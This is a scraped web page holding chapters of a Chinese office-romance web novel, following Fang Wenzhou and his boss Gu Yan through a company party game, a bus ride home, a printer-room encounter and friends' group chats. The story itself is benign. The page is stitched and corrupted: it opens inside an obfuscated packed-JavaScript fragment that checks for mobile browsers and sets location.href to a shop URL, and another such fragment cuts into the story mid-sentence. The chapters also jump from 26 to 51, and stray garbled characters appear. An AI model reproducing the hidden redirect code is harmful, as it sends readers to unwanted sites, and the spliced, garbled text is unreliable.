l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16811451|189697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叹。 就在方闻洲和顾延这对组合以惊人的效率和默契迅速推进,猜词准确率不断攀升的同时,与他们形成惨烈对比的,是顾行辰和赵屿组成的鸡同鸭讲组合。 顾行辰组抽到盲人摸象。他抓着赵屿的手模拟触摸巨大物体,从高处下移比划象腹。觉得不够真切,他索性将赵屿的右手直接按在了自己紧实的腹部。 手心突然贴上温热的腹肌,赵屿惊得叫了出来:“谁的肚子?” 全场爆笑。 顾行辰咬牙,“我的肚子!” 赵屿面红耳赤,小声嘟囔:“对不起小顾总,手感挺好的...” 笑声更响了,顾行辰扶额放弃:“过!下一个!” 第一局结束,记分板显示两组悬殊的战绩。顾延方闻洲组,七分。顾行辰赵屿组,零分。 顾行辰不服,“不行,第二把必须互换角色,给我们点翻盘的机会!” 规则本就如此。第二局,双方交换指挥者与行动者的角色。 最初的几个词语,顾延和方闻洲的配合依旧默契,少年逐渐放松下来,甚至开始享受这种高度配合的过程。 直到新的题板举起。 方闻洲看到那两个字时,微微一愣。 拥抱。 这个词太简单了,简单到几乎不需要任何复杂的引导。他想,顾延应该能立刻猜到。 他定了定神,走上前伸出双手,从顾延前方,虚虚地环住了男人的腰身。 这是一个模拟拥抱的起始动作。他的手臂没有真正收紧,只是示意性地环绕。接着,他引导顾延的双手,也做出向自己身体环抱过来的姿势。 两个人的手臂在空气中形成了一个互相环抱的框架。 做完这个明确的引导动作,方闻洲便松开了手,退后半步,等着顾延说出答案。 按照之前的效率,顾延应该立刻就能猜到。 可是,顾延沉默了,男人的言语迟疑了一下。 “是安慰?”顾延用不确定的语气问道。 方闻洲一愣。 不对。这么明显的动作,顾延怎么会猜成安慰? 他以为是自己的引导不够清晰,再次上前。 这一次,他伸出双臂结结实实的圈在顾延腰间,掌心隔着衣物贴在男人的腹部两侧,下巴搭在顾延的肩胛骨上。 “不是安慰吗?”顾延还在思考。 方闻洲有点困惑了,他收紧了一点手臂,让身体更贴近顾延。 腰间的力道突然被收紧,带着不容忽视的存在感。方闻洲能感觉到顾延腹部肌肉在那一瞬间的绷紧。 男人还是不说话,时间过去了五秒左右,就在方闻洲准备换题时,一直安静被引导的男人,忽然动了。 那双原本垂在身侧的手抬了起来,不容拒绝地回揽住了方闻洲的腰身。 顾延的手臂结实有力,这一揽将少年更严密地拥入了怀中。他的掌心贴在方闻洲的后腰,指节微微收拢,揉按了一下那柔韧的腰线。 顾延的下巴抵在方闻洲的肩窝,呼出的气尽数吐在少年敏感的耳廓。 “...是拥抱吗?” 26.第 26 章 “对,是拥抱!” 方闻洲给出了肯定的答复,心里那点因为对方迟迟猜不出而产生的怪异感散去。他想要退开,结束这个为游戏而服务的拥抱。 然而,腰间的手臂却迟迟没有松开。腰间的手臂依旧稳固地环着,甚至在他话音落下后,那力道又无意识地收紧了些许。 顾延的怀抱宽阔,带着温热的体温,将他密密实实地圈在里面。 时间仿佛这一刻被拉长了,一秒,两秒... 台下原本因为猜中而响起的掌声,也渐渐停歇,所有人都看着台上相拥的两人。 少年脸上悄悄爬上一些温度。众目睽睽之下,这姿态停留得有些过久了。 他不太好意思用力挣脱,只能揪住了顾延身侧的一小片衣袖,轻轻扯了扯。 “顾哥,可以松开了,词猜对了。” 这个细微的动作,终于唤醒了男人,环在方闻洲腰后的手臂倏然松开,顾延主动后退了半步,拉开了两人之间过于亲密的距离。 “抱歉,刚才有些走神。” “没事没事,我们继续下一个吧。” 游戏在几分钟后正式结束。顾延和方闻洲这组以绝对优势获胜,而顾行辰和赵屿那组,在最后关头终于磕磕绊绊地猜对了一个词,避免了零蛋的尴尬。 按照规则,胜利组可以派一名代表,前往放置在舞台侧面的抽奖箱进行抽奖,抽中的奖品将作为两人共同的奖品。 顾延摘下眼罩,目光落在身旁还带着点游戏后兴奋余韵的少年身上。 “你去吧。” “我?”方闻洲有些意外,指了指自己,“顾哥你去吧,万一我手气不好。” “没关系,”顾延意有所指:“你的运气一向不差。” 话都说到这份上了,方闻洲不再推辞。他走到抽奖箱前,将手伸进箱口,凭感觉捏住了其中一张,抽了出来。 卡片是密封的,表面覆盖着一层可刮开的涂层,方闻洲捏着它端详片刻,没有立即动手,而是转身走回台上,将卡片递到了顾延面前。 他仰起脸看向男人,眼里漾起狡黠的亮光,语气故作郑重。 “喏,顾哥。我将我的幸运之神暂时移交给你,你来刮开,看看我们的共同运气怎么样?” 要是刮出来的结果不理想,那可不能怪我了哦。 “好。”顾延哪里不知少年的小心思,还是接过卡片。 随着涂层被刮开,下方的字迹逐渐显露。他将刮开的卡片翻转,展示给方闻洲。 “看来,”顾延的声音含了笑意,“你的幸运之神,确实很眷顾我们。” 方闻洲和顾行辰同时凑近看去,卡片上的写的是一等奖,而下方所标注的奖品,正是豪华双人海岛度假套餐。 “哇哦,这么快就把我们的豪华双人海岛度假套餐抽走了,台下得有多少人在心里捶胸顿足啊。” 场下配合地响起一片哀嚎。 顾行辰顺势笑着补充规则,“咱们的奖品安排一向人性化,中奖的两位可以选择直接折现,或者一起规划这个假期,有效期一年。” 他促狭的目光在顾延和方闻洲之间转了转,才让后一组上台继续挑战。 游戏环节在后续几组或默契或搞笑的尝试中进行,一到台下赵屿就凑了过来,脸上半点没有输掉比赛的沮丧,反而满是兴奋。 “闻洲!一等奖!”赵屿比自己中了奖还高兴,“你这运气真是绝了,跟顾哥搭档也厉害,简直是横扫全场!” 方闻洲被他夸张的语气逗笑,“瞎猫碰上死耗子,运气好而已” 游戏的热闹在欢声笑语中逐渐平息,聚餐也进入了尾声。服务生开始收拾舞台道具,而真正的社交环节才刚刚开始。 不少人端着酒杯走向主桌,去向两位老板和几位高层敬酒。 赵屿一把拉起还坐在位置上的方闻洲,“走走走,洲儿,咱们也去敬一杯。作为刚进公司的新人,于情于理都得表示一下。” 方闻洲被他拉着,只能端起自己那杯几乎没怎么动的酒,跟着人群挪向主桌。 主桌那边围了不少人,顾行辰正与人谈笑风生,顾延则坐在一旁,神色较之前放松些许,他偶尔颔首,与敬酒的人简单碰杯,话不多。 赵屿瞅准一个间隙,拉着方闻洲挤上前,“小顾总,恭喜项目第一阶段大获成功,也谢谢顾哥今晚对我们洲儿的照顾!” 一直神色平静的顾延,在听到“我们洲儿”这四个字时,眼睫抬了下,目光在赵屿搭在方闻洲肩头的手上掠过。 他面上不动声色:“大家功劳。” 赵屿赶紧碰了碰方闻洲的胳膊,方闻洲上前半步,举起手中的酒杯,看向顾延。 男人今晚被敬了不少酒,但他坐姿挺直眼神清明,看不出什么醉意。 “顾哥,今晚谢谢您。我敬您。” 少年大大方方的举杯,两人的玻璃杯壁在空中轻轻相碰。 “你做得很好。” 许是饮了酒的缘故,顾延的嗓音比平日更低哑几分,他撤回酒杯,仰头将杯中酒一饮而尽。 方闻洲连忙也跟着喝了一大口。少年平日里很少喝酒,这会一杯灌下,只觉得酒液辛辣,一路烧到胃里,脸颊腾起热意。 身后等候敬酒的人还排着队,他不敢多耽搁,匆匆道了句:“顾哥您慢用”,便拉着赵屿,从人群中退了出来。 身后,男人的目光一直追随着少年的背影,直到他被上前敬酒的人群完全遮住,才缓缓移开。 觥筹交错间,聚会接近尾声,外头早就夜色深沉。众人陆续起身,大巴车早已等候在餐厅门口。 方闻洲随着人流走出包间,脸颊上的热意被夜风一吹,散去了不少。 他的酒量本就不行,又被那几个曾传谣的同事围着敬酒致歉,几轮下来,脚下已有些发飘。 车子启动驶入夜色,车厢内的灯光被调暗,喧闹了一晚的同事们大多显出了疲态,低语声渐渐稀疏,不少人靠着椅背开始小憩,方闻洲也不例外。 他刚挨着座位坐下就撑不住了,酒精的后劲混着沉甸甸的困意猛地涌上,脑袋一昏,也顾不得许多,额头砸在车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对不起顾哥!我、我不是故意的,我睡着了,不知道怎么就跑你肩上了。”方闻洲语无伦次,视线仓皇地游移,根本不敢再往身旁瞥。 “不是你的问题,车子有点颠,看你一直磕到玻璃。” 话只说了一半,但也足够让人理解其中的含义。 所以,是顾延主动把他挪过去的? 方闻洲心脏咚咚地跳着,耳根烫得厉害,他嘴巴开合了几下,才找回自己的声音,“...谢谢顾哥。” 除了道谢,他实在不知道还能说什么。 “没事。”顾延很淡地应了一声,侧身给方闻洲让了条过道。 车子停稳,同事们带着倦意三三两两地下车。方闻洲站在顾延身前,全程当自己是一只小鸵鸟。 停车场里光线昏暗,人影绰绰,不少同事正互相道别,商量着拼车回家。 “洲儿!这儿!” 一个熟悉的声音从不远处传来,赵屿站在一盏路灯下,正朝这边挥手,脸上笑嘻嘻的,看起来完全没受今晚摸腹肌事件的影响,精神头好得很。 见到熟悉的好友,方闻洲赶紧应了声,脚下加快,想要小跑过去。 没走两步,顾延的声音再次从身后响起。 “方闻洲。” 少年停下脚步,疑惑转头看向顾延。 “你还记得两个星期之前,你答应过我什么吗?” 50-60 第51章 第51章[VIP] 听见顾延的夸奖, 少年的心神一荡。 虽然早就料到顾延会这么说,可对方如此干脆地肯定,还是让刚刚才厘清自己心意的少年, 抑不住地欢喜起来。 “谢谢顾哥。”他将雀跃的心思收敛起来,矜持的道了声谢。 两人一前一后走进电梯,电梯门合上, 狭小的空间里只有他们两人。方闻洲按下对应的楼层键, 背靠着电梯壁,眼神不断偷偷瞄向顾延。 男人今天穿了件白色衬衫, 领口一丝不苟地扣到最上面,俨然一副禁欲的模样。 方闻洲想起昨天晚上群友们说的话。 “比如递东西的时候不经意碰下手。” “或者说话时看着他的眼睛, 多停留那么几秒。” 电梯上行,方闻洲垂在身侧的手指悄悄蜷了蜷,又在心里给自己握了个加油打气的小拳头。 冲呀,洲洲大人!机不可失,试探他! 少年清了清嗓子, 主动搭话:“顾哥,你吃早餐了吗?” 顾延转过头来看他。 就是现在。 方闻洲心念一动,迎了上去,回望顾延的眼睛。顾延的眸子颜色偏深, 像浸在寒潭里的墨玉,里面倒映着他自己的影子。 一秒, 两秒,三秒 时间被无限拉长, 方闻洲不清楚为什么顾延也没了回答, 只是看向他。 心脏在胸腔里不断鼓动,他强迫自己维持着这个对视的姿态, 还稍稍歪了下头,做出认真等待回答的样子。 顾延的睫毛颤动了一下。 “吃过了。”他说,“你呢?” “我也吃了。”方闻洲答道,感觉自己的脸颊开始不受控制地升温发烫,热度迅速蔓延到耳根。 他知道自己快到极限了,再对视下去,恐怕连耳朵都要红透。于是,赶在露馅前,他率先移开了视线,转而看向电梯门上模糊的反光。 然而,在那不甚清晰的倒影里,却依稀映出身旁男人并未收回视线。 电梯轻微的运行声停止,叮的一声,门缓缓向两侧滑开。站在外侧的顾延抬手虚挡在门边,示意方闻洲先走。 走廊里已经有三三两两提前到的同事,见到顾延和方闻洲一同从电梯里出来,几个人的目光微妙地飘了过来,又在顾延冷淡的视线扫过时装作无事发生。 “顾哥,那我先去工位了。”方闻洲停下脚步,转头对顾延说。 “嗯。”顾延应了一声,“下午项目组有个进度会,记得参加。” “好,我会准时到的。” 方闻洲转身朝美术部的方向走。他能感觉到一道目光落在自己背上,少年没有回头,只是脚步不自觉地放慢了些。 直到拐过转角,那道视线才被彻底隔绝。他长长地舒了口气,抬手摸了摸自己的脸颊。 ——果然有点烫。 Lбобп╔·工位上,赵屿已经在了。他正对着电脑屏幕皱眉苦思,听到动静抬起头,眼睛顿时一亮。 “哟,洲儿!”赵屿上下打量他,“今天咋穿这么帅?” 方闻洲把背包放在椅子上,故作镇定:“随便穿的。” “少来。”赵屿凑近了些,“你这衬衫是新买的吧?我记得你之前没穿过。还有这裤子,版型真好,快说,晚上是不是约了人?” 学美术的人一般观察力都很好,更何况是他们部门,哪怕只是换了个配色风格,都逃不过这群人的眼睛。 方闻洲耳根一热,推开赵屿凑得太近的脸:“没有约人,就是觉得该买几件新衣服了。” “不信。”赵屿坐回自己的椅子,转了半圈面对他,“你平时可不是在乎穿着的人,上周穿着不是黑就是白,我问你,你还说舒服就行。” 方闻洲被他说得噎住,索性不接话,低头打开电脑。 赵屿却不依不饶:“是不是跟顾哥有关?” 方闻洲敲键盘的手指一僵。 “我早上看到你们一起从电梯里出来。”赵屿想吃瓜的心情藏都藏不住,“他还看了你好几眼,别否认,我视力5.0。” “你就是看错了。” “行行行,我看错了。”赵屿笑嘻嘻打趣,“不过说真的,顾哥对你确实不一样。” 方闻洲盯着屏幕没吭声。 赵屿等了几秒,没等到回应,终于收了那副玩闹神色,叹了口气:“得,你不愿意说,我就不问了。” 平日里吊儿郎当的人难得认真起来,“反正,大哥不管你做什么决定,小弟都站你这边。” 赵屿话里的意思,方闻洲听懂了。 虽然现在大家对同性恋见怪不怪,可现实里真要碰上,指指点点异样眼光从来就没少过。 有时候甚至不用别人说什么,光是知道你是同性恋,有些所谓的朋友自己就先退远了。这世道说到底,没嘴上说的那么开明。 赵屿同他俩相处时间不短,肯定看出了其中的猫腻,现在这样说也是进一步表明了自己的立场。 方闻洲心里一暖,对赵屿道:“谢谢。” “谢什么。”赵屿摆摆手,也不多问:“赶紧干活吧,下午还要开会呢。” 上午的时间在忙碌中过得很快。 方闻洲处理完手头的几张场景细化图,保存发送给主美。屏幕右下角的时间显示十一点半,距离午休还有半小时。 他靠在椅背上,活动了一下有些僵硬的脖颈。视线不自觉地飘向办公室门口的方向。 顾延的独立办公室在走廊另一头,从美术部这里看不到。 也不知道顾延此时在做什么? 这个念头冒出来,就有点收不住。 方闻洲拿起桌上的水杯,起身朝茶水间走去。路过打印室,他鬼使神差地拐了进去。 打印室里没人,方闻洲走到窗边,假装查看外面,目光悄悄投向走廊。 从这个角度,刚好能看到顾延办公室的门。门关着,磨砂玻璃透出里面模糊的光影。 他站了大约一分钟,什么也没等到。正要离开,门开了。 打印室正对顾延的门,男人想不到方闻洲也难,原本步履匆匆的脚步在看到人就停了下来。 “顾哥。”视奸被抓,方闻洲尴尬的笑了笑。 “嗯。”顾延在他面前停下,“打印东西?” “啊对。”方闻洲晃了晃手里空空的水杯,“等会还要去接杯水。” 打印机都没在工作,茶水间也在另一边。这个借口显得有点蹩脚,但顾延没有戳破,点了点头。 两人之间隔着一步的距离,谁也没有再开口。 方闻洲手握着水杯,心想。 他该说点什么,总不能一直这么僵着。 “顾哥,你是要去哪里?” 问完他就后悔了。 这问题太无聊,像没话找话。 顾延手里拿着一个文件夹,“去策划部送份文件。” “哦。” 又安静了几秒。 方闻洲满脑子都在想要怎么去试探他,几段话在脑子里过了一遍,竟直接问了出来。 “顾哥,你为什么对我这么好?” 我凸(艹皿艹 ),他怎么就直接问出来了。 顾延又把问题抛了回来:“你觉得呢?” 方闻洲抿了抿唇,决定再勇敢一点:“我不知道,所以才问你。” 顾延看着他,忽然很轻地笑了一下。 “方闻洲。” 顾延叫完他的名字,又不讲话了,只是看着他。 这把少年搞得有点烦躁,他抓了抓头发,小声嘀咕了句:“说话说一半,最讨厌了。” 那声嘀咕很轻,但打印室里太安静了,方闻洲的那句话一个字不落地飘进了顾延耳朵里。 少年的脸颊还带着未散的红晕,耳朵尖也是红的,头发因为刚才抓的那一下,翘起一小撮,看起来有点可爱。 顾延想逗逗他:“你在说什么?” “我什么都没说!” 这副慌慌张张的样子不就是不打自招,顾延的眼底笑意更深了些。 方闻洲被他看得浑身不自在,他低着头,盯着自己的鞋尖,恨不得立刻找个地缝钻进去。 “那个,顾哥你不是要去送文件吗?快去吧,别耽误了。” “不急。”顾延说,“你刚才说什么了?” 方闻洲:“” 他现在真想穿越回几秒钟前,把自己的嘴捂上。 “方闻洲,你今天给我的感觉有点不一样。” “什么?” “比之前聪明了。” 方闻洲眨眨眼,一时没反应过来。等他琢磨明白,抬手就朝顾延胳膊上捶了一拳。 “顾延!” 拳头没什么力道,软绵绵的,与其说是打,不如说是碰了一下。 顾延没躲,结结实实挨了这一下,“我说错了?” “你才不聪明,你全家都不聪明!”方闻洲瞪他。 他真是服了,这男人怎么能这么气人。 顾延看着他炸毛的模样,没忍住低低笑出了声。 方闻洲听见他笑,更气了,转身就想走。可还没迈步,手腕就被握住了。 “别走。”顾延说。 少年怒气冲冲的回头,“干嘛!” “不干嘛,就是觉得有些话还是应该现在说清楚。” 方闻洲挣了挣手腕,没挣开。顾延的力道不重,但很牢固。 “说什么?”他没好气地问,但心里的怒气已经散去大半。 “我刚才说错了,你不是比之前聪明了。” 方闻洲一愣,没明白他是什么意思。 “你本来就很聪明。”顾延接着说,“只是今天,你好像愿意把那点聪明劲用在我身上了。” 作者有话说: 第52章 第52章[VIP] 方闻洲感觉自己的心跳快得不像话, 他舔了舔有些发干的嘴唇,鼓足勇气。 “我——” 少年的话没能说完,打印室的门就被推开了。 “哥!你果然在这儿, 我找你好半天,你” 顾行辰的声音戛然而止。 他一只脚刚踏进来,就看到打印室里相对而站的两人。顾延握着方闻洲的手腕, 两人距离极近, 方闻洲的脸颊泛着红,眼神里还有未散的情绪。 气氛微妙, 顾行辰的动作僵在半空,他视线在顾延和方闻洲之间迅速扫了个来回, 脸上兴冲冲的表情慢慢凝固。 顾延的手没有松开,反而收紧了些。 方闻洲能感觉到手腕上的力道变化,顾及一旁的顾行辰,他试着抽手,却被顾延牢牢圈住。 “你来干什么? 顾延开口, 声线比方才冷了几度。他仍未回头,目光始终凝在方闻洲脸上,话却是对顾行辰说的。 顾行辰摸了摸鼻子,往后退了半步, 半个身子还留在门外。 “那啥,”他干笑两声, 眼神飘忽,“我是不是打扰到你们了?” 顾延侧过头, 瞥了他一眼。 那眼神没什么温度, 顾行辰立马闭了嘴。 “有事说事。”顾延道。 “哦就是策划部送来了七夕活动第二阶段方案有几个数据需要你确认一下。” 顾行辰语速飞快,边说边又往门外挪了挪。 “方案我下午看。”顾延说, “下次进门前记得敲门。” “我敲了!”顾行辰喊冤,“敲了两下,也没听见回应” 他的声音在顾延的注视下越来越小。 顾延没再理他,转而看向方闻洲。 少年纤细的手腕上还留着一圈他握出来的淡红痕迹。他用拇指摩挲了一下那处皮肤,然后缓缓松开了手。 “抱歉,弄疼了你。” “没事的,不疼。”方闻洲摇摇头,“是我皮肤比较容易留痕迹,一会儿就消了。” 顾行辰不由得睁大了眼睛。 眼前两人显然将他无视得彻底。身为在场唯一的单身人士,他识趣地又往后挪了半步。 有第三人在场,顾延不便多言,只示意方闻洲先回去工作。方闻洲也正觉得有些不自在,点点头转身快步走出了打印室。 打印室里只剩下兄弟两人。 顾行辰看着门关上,小心翼翼地观察顾延的表情,自己打扰了他哥的好事,现在连自己会怎么死,都在脑子里过好几遍了。 顾延站在原地没动,脑海里不断回想少年手上淡淡的红痕。片刻后,他才回过神,将视线投向僵在门口,脸上写满完蛋了几个大字的堂弟。 顾行辰被这目光一扫,后背汗毛都竖起来了。他干咳一声,脸上堆起一个比哭还难看的笑容。 “哥”他试着开口,声音发虚。 “我真不是故意的我发誓,要是知道您在这儿和方闻洲交流感情,给我十个胆子我也不敢闯进来啊。” 顾延没说话,只是走到打印机旁的椅子上坐了下来。 顾延心里更毛了。他哥越是这样不说话,就代表事情越严重。 “哥,我错了!”顾行辰往前蹭了两步,“错错错,是我的错~” 顾延:“想唱歌就出去唱。” 顾行辰乖巧的闭上了嘴。 “方案呢?” “啊?”顾行辰愣了一下,马上反应过来,“哦哦,在这儿!” 他手忙脚乱地从腋下抽出另一份文件夹,双手捧着递过去,顾延伸手接过翻开。 顾行辰趁他看文件的空隙,偷偷观察他哥的脸色。还是那副没什么表情的样子,看不出是怒是恼。 他眼珠转了转,决定再加把劲。 “哥,你看这样行不行,”顾行辰语气谄媚,“为了弥补我今天的鲁莽,您和方大神下次约会,所有开销我包了,成不?” 顾延合上文件夹,终于正眼看向他。 “你钱很多?” “啊?不是,我的意思是”顾行辰语塞。 “公司最近很闲?”顾延又问。 “没有没有,特别忙。”顾行辰连忙摆手。 “那你还有心思管这些?” 顾行辰被噎得说不出话。他算是看明白了,他哥现在很不爽,非常不爽,而自己就是那个导火线。 他把心一横,做出了个惊人的举动。 只见顾行辰后退一步,然后噗通一声,单膝跪地,双手抱拳,仰起脸看向顾延,一副豁出去了的悲壮神情。 “哥,您就看在我从小到大跟在你屁股后面跑,没功劳也有苦劳,没苦劳也有疲劳的份上,原谅我这一次。” 他这番唱作俱佳的表演,让顾延嘴角抽动了几下。 “起来,像什么样子。” 明白顾延原谅了他,顾行辰一下子就从地上弹了起来。 “方案我看了,就按这样推进。” “好的好的。” “还有,”顾延顿了顿,“今天的事” “今天什么事?”顾行辰挺直腰板,“我今天就是来送文件的,送完就走了,打印室里就哥你一个人在审文件,其他我什么都没看见。” —— 工位上,方闻洲心烦意乱地切换着绘图软件的图层,不小心点错,将刚勾好的线稿整个删掉了。 他懊恼地叹了口气,索性将数位笔丢到一边,趴在了桌子上。 额头抵着冰凉的桌面,混沌的脑子总算清醒了点。 顾延今天好像什么都说了,又好像什么都没说。 打印室里顾延说的每一句话都足以让方闻洲心跳失衡,可偏偏,男人没有一句明确的表态。 他用头轻轻磕了一下桌子。 现在他俩的关系又算什么呢? 手机在口袋里震动了一下。 方闻洲摸出来一看,是微信消息提示。他解锁屏幕,发现是那个昨晚临时组建的小群。 群名十分直白,叫今天舟舟恋爱了吗。是昨天晚上他被秃头校对员拉进去的,群里人都非常关心方闻洲的终身大事。 昨晚晚上,他确实答应过群里人,有什么进展会来汇报。 现在这算进展吗? 方闻洲点开群聊,最新一条消息是秃头校对员发的。 【秃头校对员:午休了午休了!舟舟宝,快出来!早上有没有发生什么?@一叶舟】 下面跟着几个迫不及待的吃瓜表情包。 【一叶舟:有。】 【言大的茶:!!我就知道!快说!】 【一叶舟:刚才在打印室碰到他了。】 他将早上的情形简略描述了一遍,即便语言已经尽量精简,这段描述发出去后,群里的消息还是轰炸开来。 【秃头校对员:他抓了你的手,还用拇指摩挲,好暧昧的互动。他要不喜欢你,我马上把键盘吃了。】 【言大的茶:重点是,在来人的时候,如果只是普通的上下级关系,被人看见拉拉扯扯,第一反应肯定是松开手。可你上司呢,他松开了吗?他没有,还握的更紧了。这说明他并不介意别人看到你俩之间的互动。】 【小甲:综上所述,他肯定喜欢你!】 【秃头校对员:反正我是绝对不会对一个毫无感觉的人,做出这么一连串暧昧又充满独占意味的举动。】 【一叶舟:但他什么都没明说。】 【不想上班只想看文:他是在试探你的底线,也在给你适应的时间。毕竟舟舟你之前表现得那么直,他要是突然猛攻,怕把你吓跑吧?】 【言大的茶:虽然但是,我觉得他是在享受你这只懵懂的小兔子主动接近他的过程】 窗外的阳光似乎更明亮了。 顾延也喜欢他。 他不再纠结于顾延是否明说,毕竟行动已经说明了一切。 少年满心被甜滋滋的兴奋感充盈着,急需找一个出口。 他切到了与吐司的聊天界面。岚а笙柠檬 这份因隐约心动而生的雀跃,最想分享的人,除了那群出谋划策的军师,就是吐司。 【闻舟:吐司吐司!在不在,我有一个天大的好消息要告诉你!!!】 消息刚发出去,几乎在同一时间,吐司的对话框也弹出了新消息。 【吐司:舟宝!!我正好也有个消息要跟你说!!!】 两人同时发出的消息让方闻洲愣了一下,随即笑开。 这大概就是好友间的默契? 【闻舟:那你先说!】 【吐司:不不不,你先说!你的好消息听起来好像更激动!】 【闻舟:不行,你先嘛,你的消息肯定也很重要!】 【吐司:哎呀那我们同时说吧!我数三二一!】 【吐司:三!二!一!】 方闻洲笑着,和吐司同时按下了发送键。 【闻舟:我有喜欢的人了,而且他好像也喜欢我!】 【吐司:和言故大大签合同的时间定了,就在后天!】 【吐司:?】 【吐司:他吗的,谁给你拐走了?】 自己家养的白菜,被哪头猪拱了? 作者有话说: 来晚了来晚了 第53章 第53章[VIP] 【闻舟:就是我上司他哥。】 【吐司:???】 【吐司:等等, 我捋一下。你指的该不会就是那个脸皮厚比城墙、把你耍得团团转、害你大热天跑去租房子应付他的傻——(消音)吧?】 【闻舟:是他没错。】 【闻舟:但他其实也没那么坏啦。】 【吐司:方闻洲同学,你之前可不是这么说的。】 【吐司:这才过去多久?你的立场呢?你的骨气呢?怎么都没了。】 【闻舟:那是之前嘛。】 【闻舟:而且现在想想,他也没那么讨厌了。】 【吐司:行吧。】 【吐司:看你这架势, 是铁了心要往火坑里跳了。】 【闻舟:哎呀,情况有变嘛。人都是会成长的,我对他的认知也在刷新。】 【吐司:说认真的, 虽然听起来你上司现在对你不错, 但知人知面不知心,尤其你们现在还有上下级这层关系。】 【吐司:你可千万要保护好自己, 别一上头就恋爱脑,什么都往外掏, 知道吗?】 【闻舟:安啦安啦,我很聪明的~】 【吐司:你最好是!】 【闻舟:嘿嘿,等成了请你吃饭呀。】 方闻洲发完上一句才反应过来,把聊天记录往上扒拉,看清吐司发来的消息。 【闻舟:你刚才说和言故合作的合同时间定啦?】 【吐司:对, 后天下午两点!】 【吐司:而且这次的合作,言故那边指明提出要你来担任官方漫画版的主笔。】 【吐司:你知道这次合作条件有多好吗?分成比例优厚,创作自由度也很高,最关键的是, 合同里明确写了对主笔个人意愿的尊重。】 言故的认真和对作品的珍视,方闻洲再清楚不过。 【闻舟:我一定不会让他失望的!】 【吐司:哦还有件事情, 说来也巧。我一直以为你跟言故大大只是同省,没想到你们居然在同一个地区。】 【闻舟:真的吗?我也一直以为我们是在不同区域。】 他回想起上次言故寄签名本时留的地址信息, 当时自己还特意看了一眼, 发件地显示是同省但不同市。 【吐司:你们没有聊过这话题吗?我还以为你们私下交流挺多的。】 【闻舟:没有啊。】 【闻舟:我哪敢主动聊这个,网络归网络, 现实归现实,我怕聊得太具体,万一暴露了坐标,牵扯到现实生活就麻烦了。】 【吐司:理解理解,你们这种级别的大神,谨慎点是应该的。】 【吐司:这次合作的地点是言故选的,是一家挺安静的私人饭馆,地址我发你。他说不想在太正式的环境谈事情,希望双方都能放松些。】 【闻舟:okok~,我最怕那种板板正正的会议室了,压力超大。】 吐司很快发来一个定位。 方闻洲点开,放大看了看周边街景。 这家私人饭馆位置有些偏僻,藏在一个闹中取静的街区里,周围绿树掩映,环境看起来确实清幽。 让他有些意外的是,这地方离公司居然不远,打车过去也就十分钟左右的路程。 他默默记下地址,心里既期待又有些紧张。 【吐司:怎么样,环境还行吧?】 【闻舟:环境看起来特别好,闹中取静的感觉。而且离我公司超近,打车十分钟就到了,好方便啊。】 【闻舟:对了,你什么时候的飞机?】 这次合作洽谈,自己这边是主笔,吐司作为统筹项目的社长,肯定也要到场。 【吐司:下午四点落地。怎么,要来接驾啊?】 【闻舟:那当然,我去接你。】 【吐司:得了吧,你又没车,我直接打车就行,快得很。】 【吐司:我算了下时间,落地取完行李,再到市区,差不多正好赶上你下班。要不我直接打车到你公司楼下?咱们碰头然后一起去吃饭馆附近?也省得你再跑一趟。】 方闻洲想了想,这样确实更高效,也免去了吐司提着行李奔波换乘的麻烦。 【闻舟:好,那就这么定了。明天下午你快到的时候提前告诉我,我去下楼等你。】 午休时间很快就过去了。 下午的工作节奏依旧紧凑,七夕活动项目进入第二阶段,需要开始准备新的宣传素材。 此时距离下班还有三个小时,可他心里已经开始盘算和吐司见面后的安排。 下班后要和吐司去吃什么好呢?要不要晚上顺道和吐司去看看后天要去的饭店。 他完全沉浸在自己的小世界里,以至于错过了办公室门口几次状似无意经过的身影。这位上司以了解项目进度为由,在美术部门停留了十几分钟。 他的目光总是不自觉地扫向少年,可方闻洲托着下巴,嘴角带着浅笑神游天外,整整十几分钟,连半个眼神都没分给他。 顾延的心情回落了点,连午后令人如沐春风的气场,也随之散去 片刻后,他再度拿着文件走出,与主美低声核对数据。两人谈话的声量虽不高,在安静的办公区却足以引起注意。 然而方闻洲正埋头在便签纸上快速写着什么,依旧对他毫无察觉。 顾延垂眸,结束了对话。 临近下班前半小时,顾延索性走了出来,倚在方闻洲斜后方。这个位置,只要方闻洲稍微侧头或者起身,就不可能不注意到他。 不过方闻洲正忙着赶在下班前最后调整一张宣传图的色调,时不时瞟一眼吐司的航班动态更新。 他全神贯注地在工作,连旁边同事收拾东西准备开溜的动静都没太留意,更别提身后那道存在感其实极强的视线了。 顾延就这样静静站了足有五分钟。 直到方闻洲终于调整完宣传图的最后一个图层,活动着僵硬的脖颈抬起头,视线才蓦地撞上斜后方那道熟悉的身影。 “顾哥?”方闻洲明显一怔,“你什么时候来的?” “刚到。”顾延目光落回他屏幕上,“看你下午一直很投入,是宣传图的工期很赶么?” “没有没有,”方闻洲手上关软件的动作快了几分,眼睛朝电脑右下角的时间扫了眼,才继续说:“工期正常的,就是晚上有点事情。” 这个细微的动作没有逃过顾延的眼睛。 办公室里很安静,其他同事大多收拾好东西离开了,只剩下零星的键盘敲击声。 “中午的事” 顾延刚开口,方闻洲就站了起来打断了顾延的话:“顾哥,时间不早了,我真得走了。” 少年一把抓起桌上早已收好的背包,低头绕过顾延,话音和脚步一样快:“你也早点回去休息。” 随即,身影便闪出门外,消失在电梯方向。 顾延被独自留在原地,他维持着方才的姿势,直直望向空荡荡的门口。 男人的眉头蹙起,下颚线一点点绷紧,侧脸在暮色中显得格外阴沉。那双总是沉静的眼眸此刻深不见底,所有的光仿佛都消失了,只剩下一片郁色。 —— 方闻洲一路小跑进了电梯,完全没注意到男人刚才似乎有话要说。 电梯下行,他掏出手机,给吐司发消息。 【闻舟:到哪儿了?】 【吐司:堵在路上了,晚高峰简直要命,司机说还得十来分钟。你到楼下了吗?】 【一叶舟:刚到楼下,不着急你慢慢来,路上注意安全,我就在公司门口等你。】 发送完毕,电梯也抵达了一楼。 写字楼前的空地上有不少等车的上班族,三三两两地聚着。方闻洲找了个相对通风的角落站定,将背包换到身前抱着。 “刚才不是挺着急?” 